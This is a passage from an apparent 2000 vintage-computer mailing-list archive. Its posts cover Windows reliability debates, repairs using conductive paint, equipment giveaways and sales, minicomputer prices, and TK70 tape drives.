this ram by >manually rebooting the server at intervals defined by the level of use the >server receives. Driver with memory leak is the problem. >I could imagine a 9x system being stable despite it's poor foundation if >that foundation were made of diamond. This would not be an estheticly >pleaseing operating system but it could be made stable if it's core were >very strong. My main objection to 9x is that application installs replace >core components with non-tested ones ( at least in that given >configuration ). In other words, each Windows machine is unique in it's >core configuration. This is a dangerous design approach and invites >nearly infinite opportunities for incompatabilities and general >instability. Yep, lots of poor apps tend to really muck up the systems as they load old .dlls and other bad things. there are a million SPs for fixing core stuff that get trashed when you install something with copies of old DLLs. The above behavour is not limited to MS OSs but more common due to it's widespread use. >I don't blame you. Linux is not ready for Prime Time on the desktop. It >lacks the level of user-pretties and network configurability I would look It's got some things I like but I could not use it at work on the desktop as the average user there would not fare well (some have difficulty with win9x that is not OS fault!). >for in a desktop environment. My personal choice would be OS/2 for just >about everything desktop related. I wish IBM had the guts to market it. It's still not adaquate in my book. Any OS where the common user is the unix equivilent of superuser (root) by default or lack of protections is a problem in my book. The classic case is the other days when a user decided to copy a colder to the desktop... save for it was C:\WINDOWS. It did a lot of damage to that system. As sysadmin I'd rather see something like VMS where the user has their sandbox where they can trash and slash but the rest of the box is off limits. Right now the common OSs that can do that (more or less) are Unix and clones based on the unix model, WinNT and VMS. I'm sure there are others but, Win9x and MacOS, DOS and OS2/warp do not meet this criteria. Allison From technoid at cheta.net Sat May 6 10:54:55 2000 From: technoid at cheta.net (technoid@cheta.net) Date: Sun Feb 27 18:52:36 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <200005061333.e46DXwr18305@admin.cgocable.net> Message-ID: <200005061559.LAA04228@lexington.ioa.net> In order to make fine traces with Nickel Print conductive paint I used paper matches. Yeah, the kind you light your Camels with. Cut the base of the match off at a 45' angle. This gives you a nice point and the paper holds enough paint to make a halfway decent brush. They are only good for a trace or two so have a full pack handy. I've used tape to cover the traces but when you peel the tape up you peel the traces with it. The scalpel approach works pretty well but leaves ugly traces and is hard to do once the paint is dry. I use the matches and the scalpel together in real-time so I'm scraping at wet paint. I learned this method fixing my Atari 130xe's keyboard. The overlay's were notorious for a bad paintjob. Even new overlays seem to last only five years or so at most before requiring some kind of fix. After about 13 years I finally broke down and bought new keyboards for all my 130's. So far so good but I still have a bottle of Nickel Print on hand for the eventual fix..... In <200005061333.e46DXwr18305@admin.cgocable.net>, on 05/06/00 at 11:54 AM, jpero@cgocable.net said: >> Date: Sat, 6 May 2000 07:45:59 GMT >> From: pete@dunnington.u-net.com (Pete Turnbull) >> To: classiccmp@classiccmp.org >> Subject: Re: HP calculator thermal printheads (HP82143, etc) >> Reply-to: classiccmp@classiccmp.org >> On May 6, 0:24, Tony Duell wrote: >> > On Fri May 5, 23:16, Pete Turnbull wrote: >> >> Ah. Given the thickness of the paint, painting tracks would be difficult, >> even with a good-quality fine brush. The only other suggestion I can think >> of, is to paint a wide strip, covering all 8 tracks, and then use a scalpel >> blade (and some patience) to gently scratch gaps between them. >Ugh, that is exact same thing what I did many times in my retired >compaq LTE 386s/20 on one of two keyboard cable. Is there a better >quality kind than this conductive paint I got? Then name one! >Wizard > >> -- >> >> Pete Peter Turnbull >> Dept. of Computer Science >> University of York >> >> -- ----------------------------------------------------------- Jeffrey S. Worley Technical Services Bits & Bytes Computer Services Inc. 1979B Hendersonville Road Asheville, NC 28803 828-684-8953 - voice 0900-1700 five days 828-687-9284 - 24hr fax Who is General Failure and why is he reading my hard disk? Technoid@Cheta.net ----------------------------------------------------------- From wilson at dbit.dbit.com Sat May 6 11:36:30 2000 From: wilson at dbit.dbit.com (John Wilson) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <000701bfb76e$b7ab36c0$0400c0a8@winbook>; from edick@idcomm.com on Sat, May 06, 2000 at 09:21:09AM -0600 References: <200005060608.CAA08063@lexington.ioa.net> <000701bfb76e$b7ab36c0$0400c0a8@winbook> Message-ID: <20000506123630.A365@dbit.dbit.com> On Sat, May 06, 2000 at 09:21:09AM -0600, Richard Erlacher wrote: > I have to agree that I like > the Microsoft products, and that's because, unlike the offerings of > yesteryear, including those from Microsoft, the current generation does seem > to work quite adequately to meet my requirements. Well that works out nicely for you, but for many of the rest of us, M$ products are designed to solve problems we don't have, and totally fail to address the problems we *do* have. It's designed for the drooling masses *only*, it's absolutely not good for normal utility use by nerds. And even where there's overlap, the design decisions tend to be poor and the implementation even worse. I recently installed Win98SE in the hope that it would be more reliable for web browsing than Win98 was (on my machine, W98 was very flakey about connecting to the net, and the video driver ignored my settings and always ran in 640x480x16 mode), but the stupid thing has already locked up the machine several times while sitting totally idle. > ----- Original Message ----- [ followed by all 115 lines of a message that you weren't directly replying to ] For chrissake!!!!! John Wilson D Bit From allisonp at world.std.com Sat May 6 10:42:25 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 Message-ID: <004401bfb771$d832ab50$7464c0d0@ajp166> >I definitely have RX8E prints so if you don't already, let me know if you >want a copy. There's not much to the board at all, the parts that actually >*do* anything are dwarfed by the drivers/receivers/selection stuff. I can't seem to find the ones I thought I had. If you could copy them that would be a help. At some point I want to do an IDE to omnibus interface, looks pretty simple if one is a willing to take advantage of the 16 bit wide IDE data (yes it wastes 4bits per 16bit word). First thing I have to do is another 4k of core, the 4k I have is not quite enough to work in. The alternate is to make a RAM card using 32kx8 parts. Allison From hallsf at alfredtech.edu Sat May 6 12:45:08 2000 From: hallsf at alfredtech.edu (Scott F. Hall) Date: Sun Feb 27 18:52:36 2005 Subject: sun.motherload References: <003301bfb76a$8cc1f100$7464c0d0@ajp166> Message-ID: <39145A24.7979464@alfredtech.edu> Anyone interested in giving an immediate home to a bunch of Sun workstations? A college here in western NY state is ready to give a 470 server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone who will show up with a donation and truck to take them away. I believe they'd like a donation of $2,000 o.b.o. Contact angooddr@alfredtech.edu if interested. From af-list at wfi-inc.com Sat May 6 11:58:02 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:36 2005 Subject: sun.motherload In-Reply-To: <39145A24.7979464@alfredtech.edu> Message-ID: $80 each sounds like quite a bit for these machines... On Sat, 6 May 2000, Scott F. Hall wrote: > Anyone interested in giving an immediate home to a bunch of Sun > workstations? A college here in western NY state is ready to give a 470 > server and about 20 to 25 assorted IPCs, IPXs, and pizza boxes to anyone > who will show up with a donation and truck to take them away. I believe > they'd like a donation of $2,000 o.b.o. Contact angooddr@alfredtech.edu > if interested. > From emu at ecubics.com Sat May 6 12:25:38 2000 From: emu at ecubics.com (emanuel stiebler) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' References: <200005060608.CAA08063@lexington.ioa.net> <000701bfb76e$b7ab36c0$0400c0a8@winbook> <20000506123630.A365@dbit.dbit.com> Message-ID: <001f01bfb780$1aac0040$5d01a8c0@p2350> ----- Original Message ----- From: John Wilson To: Sent: Saturday, May 06, 2000 10:36 Subject: Re: I wrote 'Nuke Redmond' > ... but for many of the rest of us, M$ > products are designed to solve problems we don't have, and totally fail > to address the problems we *do* have. It's designed for the drooling > masses *only*, it's absolutely not good for normal utility use by nerds. > And even where there's overlap, the design decisions tend to be poor and > the implementation even worse. BIG LOUD APPLAUSE ! cheers, emanuel From CLASSICCMP at trailing-edge.com Sat May 6 12:26:28 2000 From: CLASSICCMP at trailing-edge.com (CLASSICCMP@trailing-edge.com) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 Message-ID: <000506132628.20200dea@trailing-edge.com> >First thing I have to do is another 4k of core, the 4k I have is not >quite enough to work in. The alternate is to make a RAM card >using 32kx8 parts. Ooh, two parts and you're done :-). (Sorry, couldn't resist. Of course most of the cost is getting the gold-plated fingers on the PCB, in my experience!) Tim. From xds_sigma7 at hotmail.com Sat May 6 12:56:22 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:36 2005 Subject: Market value of minicomputers... Message-ID: <20000506175622.20672.qmail@hotmail.com> Hmm.. So if common stuff like 11/35's are worth in excess of $6,000... does this mean I ought to start looking for a buyer for my extra Interdata 7/32C? Circa 1973, world's first 32-bit minicomputer, 750ns cycle, up to one meg of core, currently has 256k and 80MB of 14" winchester.. Far less common than an 11/35.. and more powerful too. And no, I'm not serious about selling it... since I didn't pay anything for it, I don't see how I could justify expecting to get money for it.. But that's my extra-weird opinion, one of those things that really isn't explainable or anything like that. Though I personally dislike the idea of them actually being *worth* something, the very fact that mini's have accquired value is a great help toward keeping them from being scrapped and vanishing from the earth... As for RK05's, I know a guy who can sell them for $5K each, but that doesn't mean I want to sell mine. I don't believe that all 11/34's were shipped with RL01/02's either, since mine is equipped with dual RK05's, which are both the same vintage as the machine. Also, if anyone wants an 8/A, complete and probably working, I saw a company who has one in inventory for like $500, far more than I'd pay, but if anyone's interested, e-mail me and I'd be happy to give you the info, and no, I have no relation to the company thats selling it nor do I stand to profit. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From ard at p850ug1.demon.co.uk Sat May 6 12:43:26 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 In-Reply-To: from "Mike Ford" at May 6, 0 02:41:44 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 435 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/5ce0237b/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:48:37 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:36 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: <3.0.1.16.20000506103024.269705e6@mailhost.intellistar.net> from "Joe" at May 6, 0 10:30:24 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1478 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/415ff7ff/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:53:51 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 In-Reply-To: <001501bfb770$e10cdd00$fd83fea9@office> from "johnb" at May 6, 0 11:36:42 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 766 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/44b87284/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:31:16 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 In-Reply-To: <003601bfb6f9$c8923440$fd83fea9@office> from "johnb" at May 5, 0 09:24:08 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 4431 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/c41f54eb/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:36:41 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:36 2005 Subject: HP calculator thermal printheads (HP82143, etc) In-Reply-To: <10005060845.ZM3073@indy.dunnington.u-net.com> from "Pete Turnbull" at May 6, 0 07:45:59 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 960 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/d134ca59/attachment-0001.ksh From ard at p850ug1.demon.co.uk Sat May 6 12:41:10 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 In-Reply-To: <20000506035428.A32193@dbit.dbit.com> from "John Wilson" at May 6, 0 03:54:28 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1440 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/dc5eea7b/attachment-0001.ksh From xds_sigma7 at hotmail.com Sat May 6 13:25:14 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <20000506182514.65578.qmail@hotmail.com> Just to make this clear... I was not even trying to say in any way, shape, or form that microsoft products are "perfect" or the best or anything like that. I would find it hard to believe any app with more than oh 20 or so (arbitrary figure) lines of code can possibly be perfect... that's why stuff like Sun saying "oh there's x thousand bugs in Win 2K" kinda irritates me, because there are probably about that many in Solaris also. Or in any complex O/S for that matter. Heck, even IBM admitted that there were bugs in OS/390 recently, and that's a pretty staggering thing for IBM to admit that one of their mainframe operating systems has bugs... While I agree with people who say we deserve bug-free software, I am realistic enough to understand that bug-free software is a pretty impossible goal.. I'm happy if the vendor has the guts to admit when there are problems and then go and fix them... That's one of the things that DEC always had going for them, was that they were good at admitting problems and then fixing them. And there aren't any operating systems around without bugs.. Finally, the main reason I use microsoft products on my PC is that they support about every strange, random peripheral that I can pull out of some dusty cranny in the warehouse and the damn thing will actually WORK! This of course is also one of the reasons for a lot of the various problems that can occur, but I think if you're expecting total perfection on a PC, you're not being realistic. The very nature of windows, linux, and any other PC operating system works against reliability. What I mean is that the hardware and software are not from the same vendor, so they aren't nearly as tightly integrated as they could be. That's why VMS for example is much more robust than windows... DEC designed the hardware, built the hardware, then wrote the operating system to work as closely as possible with the hardware. And because they built + designed the hardware in-house, they naturally had a far better idea of how it all worked and how to make the operating system fully utilize the hardware. And finally, for the record, the reason I dislike MacOS is not because its unreliable, its just because I hate how difficult it makes it to unistall programs and to add drives for new hardware. And I know that I might just not know something important, but I did RTFM and read about everything on Apple's website, so please don't think I'm just Apple-bashing. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From xds_sigma7 at hotmail.com Sat May 6 13:33:41 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:36 2005 Subject: Space exploration stuff (with an old computer tie-in) Message-ID: <20000506183341.90962.qmail@hotmail.com> Hmm... While everyone is mentioning all these musuems that feature things like an Apollo capsule, etc. I had to wonder if there are any musuems which contain an Agena space vehicle (could be misspelled) or some kind of Skylab mock-up. I'm asking because my dad wrote some of the programs which ran Skylab, and he helped design the Agena space vehicle, back in the late 60's when he worked for Lockheed Missiles and then Martin Marietta. He used a CDC-3400 at Lockheed and a CDC-6500 (I believe, 6000 series at any rate) at Martin... When I first got interested in old computers I heard more than a few stories about SCOPE and COMPASS, and SNOBOL, though he used SNOBOL in 1970 at Tymshare on the SDS 940 and later on the XDS Sigma 7. He also did COMPASS programming on CSU's CDC-6600 in 1972, which they used to teach assembly language programming. For all the DECheads on the list, he also worked on Tymshare's DECsystem-10's and 20's when they were brand-new; they were what replaced the SDS 940. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From mikeford at socal.rr.com Sat May 6 13:35:01 2000 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' In-Reply-To: <000701bfb76e$b7ab36c0$0400c0a8@winbook> References: <200005060608.CAA08063@lexington.ioa.net> Message-ID: What amazes me still are the people who look out into the streets of real world MS users and see people running wildly in circles on fire with exploding heads, then declare that MS isn't so bad. Failure to understand how and why MS has the market share that they do is also rather sad. What comes to mind is the poor baby monkey given a surrogate mother made of wire mesh that delivers strong electric shocks, yet the baby still clings to it. I am sure it will be looked back on as a curious point in history. From xds_sigma7 at hotmail.com Sat May 6 13:59:34 2000 From: xds_sigma7 at hotmail.com (Will Jennings) Date: Sun Feb 27 18:52:36 2005 Subject: I wrote 'Nuke Redmond' Message-ID: <20000506185934.48228.qmail@hotmail.com> There's only one reason that MS has the market share they do, and it's quite simple: IBM. It works like this; 1)IBM comes up with the PC. 2)Asks MS to provide OS. 3)MS pays SCP to be able to port 86-DOS to the IBM PC, later buys rights to DOS, yadda yadda yadda. 4)The PC is cloned, and all of the PC clone makers come to MS and pay them to have the same OS as IBM. 5)Due to PC being far more succesful than anyone imagined, the PC market becomes quickly locked into MS software, since without it, you wouldn't have compatibility with old programs, etc. This is, of course, totally over-simplified, and could possibly be inaccurate about some of the minor points, but its the general reason. And of course, OS/2 really isn't an MS compititor, since IBM paid MS to write it and MS even sold it with their own name on it for a while. Amusingly, even after MS stopped making OS/2, they still sold MS LANManager, which requires OS/2. Heh. Will J ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From netsurfer_x1 at hotmail.com Sat May 6 14:03:15 2000 From: netsurfer_x1 at hotmail.com (David Vohs) Date: Sun Feb 27 18:52:36 2005 Subject: Space exploration stuff (with an old computer tie-in) Message-ID: <20000506190315.24931.qmail@hotmail.com> >Hmm... >While everyone is mentioning all these musuems that feature things like an >Apollo capsule, etc. I had to >wonder if there are any musuems which >contain an Agena >space vehicle (could be misspelled) or some kind of > >Skylab mock-up. I'm asking because my dad wrote some of >the programs >which ran Skylab, and he helped design the >Agena space vehicle, back in >the late 60's when he >worked for Lockheed Missiles and then Martin >Marietta. >He used a CDC-3400 at Lockheed and a CDC-6500 (I >believe, 6000 >series at any rate) at Martin... When I >first got interested in old >computers I heard more than >a few stories about SCOPE and COMPASS, and >SNOBOL, >though he used SNOBOL in 1970 at Tymshare on the SDS 940 >and >later on the XDS Sigma 7. He also did COMPASS >programming on CSU's >CDC-6600 in 1972, which they used >to teach assembly language programming. >For all the >DECheads on the list, he also worked on Tymshare's > >DECsystem-10's and 20's when they were brand-new; they >were what >replaced the SDS 940. > >Will J Well, I know that Space Center Houston/JSC in Houston has a mock-up (not quite life size) of Skylab. A bit of trivia: the Skylab itself was really nothing more than a Saturn 5 Third Stage that had been fitted with all the equipment. ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com From jeff.kaneko at juno.com Sat May 6 14:02:52 2000 From: jeff.kaneko at juno.com (jeff.kaneko@juno.com) Date: Sun Feb 27 18:52:36 2005 Subject: "Investment Grade" Classic Computers Message-ID: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> Guys: I'm faced with a dilemma, and I'm polling for opinions. Some time ago, I swore I would never again publicly broadcast (via this ML) ads for computers that could be considered "Investment Grade". Those of you who have been around long enough know what I'm talking about; a machines that tend to fetch an obscene amount of money, despite the general opinion that they really aren't worth that much. The general objection is that such sales unreasonably inflates the co$t of our hobby, so we can't afford it anymore. The dilemma is this: A friend of mine has such an "Investment Grade" machine; and he wants to sell it to the highest bidder . Now I'm faced with two bad choices: Put it up on e-bay, or post it to this forum. I dislike e-bay for what it did to our hobby. I'm not comfortable posting it here, because I have a deep respect for the collectors/hobbyists here (of all stripes), and their opinions on the effects commercialization has had on our hobby (not to mention my own conscience). My friend *specifically* requested I post the ad here, as he was quite pleased with the result, previously. I will only do this if you guys feel this is the appropriate thing for me to do: I post the description, interested parties submit bids, *OFF LIST*. What say you all? Thanks. Jeff ________________________________________________________________ YOU'RE PAYING TOO MUCH FOR THE INTERNET! Juno now offers FREE Internet Access! Try it today - there's no risk! For your FREE software, visit: http://dl.www.juno.com/get/tagj. From jim at calico.litterbox.com Sat May 6 14:25:10 2000 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 18:52:36 2005 Subject: "Investment Grade" Classic Computers In-Reply-To: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> from "jeff.kaneko@juno.com" at May 06, 2000 02:02:52 PM Message-ID: <200005061925.NAA26189@calico.litterbox.com> First of all, IMHO there is no such thing as "investment" grade collectable anything. If you want an investment, buy stock. What you're describing would better be described as "scalper grade." Second, if your friend is so keen to advertise to this list, I'd suggest having him join it. Then he can advertise his scalper grade computer and if it offends people, he can take his lumps. Third, I would never buy anything on a net auction not run by a reputable auction house - ebay, egghead, etc. They may have resulted in our hobby's prices getting inflated, but they offer you some protections from outright fraud, favoritism, etc. > My friend *specifically* requested I post the ad here, > as he was quite pleased with the result, previously. I > will only do this if you guys feel this is the appropriate > thing for me to do: I post the description, interested > parties submit bids, *OFF LIST*. -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From af-list at wfi-inc.com Sat May 6 15:28:52 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:36 2005 Subject: Equipment Available Message-ID: Hi all, With no small amount of regret, I am liquidating most of my collection in order to focus my attention on a personal matter which is going to require 100% of my time and energy. Thank you all for the sense of community and spirit of comradery here for the past few years. I'm hope to still hang around here and there (VCF, I'll be there!) but will not be actively collecting. Believe me, this decision was not made lightly. My classic computing page will remain as it is, and the list archives will remain there, as will the documentation that I've already scanned. As far as current transactions, I will complete them as soon as possible (Sorry Rich, others). Especially the couple of people that I still owe shipping to, I'm trying to get my ass in gear here... Ok, on to the good stuff. I will ship small items and books, anything more than a few pounds will only be available to someone who wants to pick it up in Glendora, CA or pay to have mailboxes etc pack and ship it. Books (cost is 1.5 x shipping amount): --------------------------------------------------------- Apple II Applesoft Basic Programmers Reference Manual The BASIC Handbook, David Lien Technical Aspects of Data Communication, Digital Press Inside the IBM PC, Peter Norton Problem Solving Principles for Basic Programmers, William Lewis Fundamentals of Structured COBOL (School Textbook) COBOL Wizard (School Textbook) PASCAL, Academic Press (School Textbook) The PASCAL Handbook, Sybex Pascal User Manual and Report, School Text The Debugger's Handbook - Turbo Pascal, McKelvey PASCAL, Findlay and Watt (School Text) UCSD Pascal, (School Text) Elementary Pascal (School Text) Oh! Pascal! (School Text) Turbo Pascal version 3.0 Reference Manual, Borland Introduction to Turbo Pascal, Sybex Turbo Toolbox Reference Manual, Borland DON'T! Or How To Care For Your Computer... Writing in the Computer Age, Fluegelman Soul of CP/M, Waite CP/M Assembly Language Programming, Barbier CP/M and the Personal Computer, Dwyer CP/M Word Processing 68000 Assembly Language Programming, Leventhal Programming in Assembly Language: Macro-11, Sowell Electronic Data Processing, Irwin (1961!) MP and Periph. Handbook, vII - Peripheral, Intel Corp. MC68020 32-bit MP User's Manual A couple of PDP Handbooks that I can't find right now...(1981-ish) Some Micro PDP Docs (look at www.retrobytes.org - I think they're all there) Computer Systems (Free to good homes, pick-up only): --------------------------------------------------------- 6' Rack - VERY Sturdy Incomplete PDP 11/20 - 3 cabinets (Possibly spoken for) Plessey 11/23+ compat (MicroII) - rack-mount w/2 RX01's, external twin RX02 rack unit, Power Control unit (rackmount) HP3000/37 (Micro3000XE) w/2 drives (3 units total, size of double file cabinet each), 9-track 1/2inch tape drive, dot-matrix printer/cabinet, Y2K MPE FOS tapes. A bunch of 9-track tapes with it. Kaypro IV Broken Atari 800 w/2 broken 810 drives (I know, garbage). Atari 1027 printer with gummy wheel. CX-80 keypad. Maybe an 835 modem. Cadnetix Server, Sperry 286 terminal for it, ethernet cable, monitor, kbd/mouse, Cipher 9-track drive, tons of docs (PLEASE SAVE THIS ONE! I'll hold it for years if I have to, but I don't want to.) Michael Grigoni has priority on this, if he wants any of it... Mac LCII, no HD, kbd/mouse,ram. W/Mono monitor. Other stuff (asking price indicated, make any offer:) --------------------------------------------------------- *The reason I have a few dollars as an asking price is that I either paid real money for the item, or it's something that I'd like to see go to someone who really wants/needs it.) SWP ATR8000 - CP/M computer or serial/parallel interface w/print buffer for Atari Computers - asking $50 Dilog SQ706A QBUS SCSI Card - $25 Emulex TC03 QBUS Pertec Controller - $10 DSD MFM QBUS Card - 1.5 x shipping DEC DEQNA Ethernet Card w/cable and manual - $10 DEC M8043 Serial Card - 1.5 x shipping DEC 11/73 CPU w/FPU - $10 DEC RQDX3 w/manual - $10 RT-11 v5.4B on RX50 floppy, complete distro - $10 OK, that's it for round one. After I sort out this mess, I'm sure lots more stuff will come trickling down... Cheers, Aaron From kstumpf at unusual.on.ca Sat May 6 15:28:16 2000 From: kstumpf at unusual.on.ca (Kevin Stumpf/Unusual Systems) Date: Sun Feb 27 18:52:36 2005 Subject: "Investment Grade" Classic Computers - why are we still complaining? References: <200005061925.NAA26189@calico.litterbox.com> Message-ID: <001101bfb799$9ede20a0$3780b7d1@kstumpf> So OK, I started writing A Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique in 1996, published it in 1998 and am now working on 2nd edition. In 1996 it was apparent to me, and lots of other people, that what is currently taking place would take place and probably as fast as it did (and we didn't know about ebay then). In the book I use the evolution of car collecting as the model that our hobby would naturally follow, and it appears that it has. I'm no genius and fellow collectors, you are not fools, this just happened. The investment value (yes collectible computers will increase in value) happened faster with computers than cars because we live in a networked society, but it was inevitable. Please everyone stop talking and complaining about the fact old computers are being purchased and sold. There are still many incredible finds out there, go and get them. Most are still free for the taking. Seek and ye shall find and stop wasting bandwidth with complaints. You can't change it. Please post the description of your buddy's system. Yours in good faith. Kevin Stumpf - The Nostalgic Technophile www.unusual.on.ca - 519.744.2900 EST/EDT (GMT - 5) Author & Publisher of The Guide to Collecting Computers and Computer Collectibles: History, Practice, and Technique From af-list at wfi-inc.com Sat May 6 15:35:18 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:36 2005 Subject: Stragglers to that last post... Message-ID: I forgot the following, pick-up only: Sparc 1 - free SparcPrinter - free (2) Sun 3/50's, 1 working w/12 megs ram, one flat and one dimple top, 1 kbd/mouse set - free Sun type 5 keyboard - $10 Sun Type 4 mouse ("sticky") - $5 Thanks, Aaron From allisonp at world.std.com Sat May 6 14:23:31 2000 From: allisonp at world.std.com (allisonp) Date: Sun Feb 27 18:52:36 2005 Subject: value of RK05 Message-ID: <00bf01bfb796$134c5410$7464c0d0@ajp166> >>First thing I have to do is another 4k of core, the 4k I have is not >>quite enough to work in. The alternate is to make a RAM card >>using 32kx8 parts. > >Ooh, two parts and you're done :-). (Sorry, couldn't resist. Of >course most of the cost is getting the gold-plated fingers on the PCB, >in my experience!) Not quite, you still need bus interface and buffering. I havent looked at PDP-8 memory interface to see how and what. I have one or two PDP11 proto/ww cards that with careful cuts for power and ground will work fine for omnibus. The trick is doing battery backup so it also behaves something like core. ;) Allison From ard at p850ug1.demon.co.uk Sat May 6 15:18:31 2000 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 18:52:36 2005 Subject: "Investment Grade" Classic Computers In-Reply-To: <20000506.140254.-4053137.0.jeff.kaneko@juno.com> from "jeff.kaneko@juno.com" at May 6, 0 02:02:52 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3277 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20000506/e92db428/attachment-0001.ksh From fmc at reanimators.org Sat May 6 17:00:28 2000 From: fmc at reanimators.org (Frank McConnell) Date: Sun Feb 27 18:52:36 2005 Subject: Couple of cool HP 110/150 finds In-Reply-To: Joe's message of "Wed, 03 May 2000 15:11:48 -0500" References: <016c01bfb485$0ab446a0$e0711fd1@default> <3.0.1.16.20000503151148.0a4f407e@mailhost.intellistar.net> Message-ID: <200005062200.PAA04595@daemonweed.reanimators.org> Joe wrote: > >HP Series 100 Communicator Volumes 7-12 (very cool) > > Now those are unusual. I have two volumes but I've never been able to > find any more of them. Where did you find them? HP used to ship the current "Series 100 Communicator" in the box with your new Series 100 (i.e. 120, presumably 125, and 150) computer, or more likely in the box with its keyboard. I don't remember seeing them with 110s or Portable Pluses, but that could just be my defective memory. If you liked it and wanted more you had to buy a subscription. Given that it was mostly filled with new-product announcements for stuff that we either wouldn't use or could ask our sales rep about, and usage tips that weren't especially non-obvious, we didn't bother. -Frank McConnell From af-list at wfi-inc.com Sat May 6 17:36:55 2000 From: af-list at wfi-inc.com (Aaron Christopher Finney) Date: Sun Feb 27 18:52:36 2005 Subject: Some stuff already claimed Message-ID: Hi, To save you some typing, here's what's already spoken for: -> The BASIC Handbook, David Lien -> Problem Solving Principles for Basic Programmers, William Lewis -> Soul of CP/M, Waite -> CP/M Assembly Language Programming, Barbier -> CP/M and the Personal Computer, Dwyer -> CP/M Word Processing -> 68000 Assembly Language Programming, Leventhal Dilog SQ706A QBUS SCSI Card - $25 Emulex TC03 QBUS Pertec Controller - $10 DEC DEQNA Ethernet Card w/cable and manual - $10 DEC RQDX3 w/manual - $10 RT-11 v5.4B on RX50 floppy, complete distro - $10 Cheers, Aaron From healyzh at aracnet.com Sat May 6 17:58:59 2000 From: healyzh at aracnet.com (Zane H. Healy) Date: Sun Feb 27 18:52:36 2005 Subject: Equipment Available In-Reply-To: Message-ID: >DEC 11/73 CPU w/FPU - $10 Is this still available? Zane | Zane H. Healy | UNIX Systems Adminstrator | | healyzh@aracnet.com (primary) | Linux Enthusiast | | healyzh@holonet.net (alternate) | Classic Computer Collector | +----------------------------------+----------------------------+ | Empire of the Petal Throne and Traveller Role Playing, | | and Zane's Computer Museum. | | http://www.aracnet.com/~healyzh/ | From donm at cts.com Sat May 6 18:03:39 2000 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 18:52:36 2005 Subject: Swapmeet find In-Reply-To: <200005062200.PAA04595@daemonweed.reanimators.org> Message-ID: At the local swap this morning I picked up a virgin TK70 streaming tape drive. When I say virgin, I mean it is in the shipping carton, is still sealed in an anti-static bag, includes the manual, and also that sheet of 'stickies' to make the meaning of various lights and such meaningful to those who do not understand English. In a discussion of COMPACTape II, it was stated that those tapes were interchangeable with the earlier tapes in the TK50 drives. It was also noted, as has been covered here several times, that if written to by a TK50, the tape was readable by a TK70 but could not be written to by a TK70. This is the first time I have heard that the use of the II tapes in a TK50 was a factory authorized usage. Interesting! Perhaps useful considering the scarcity of the older tapes. Question: Can a TK70 be used as a 'drop-in' replacement for a TK50 in a VAXstation 2000? If so, I would assume that it would NOT record at TK70 density. - don From edick at idcomm.com Sat May 6 18:37:46 2000 From: edick at idcomm.com (Richard Erlacher) 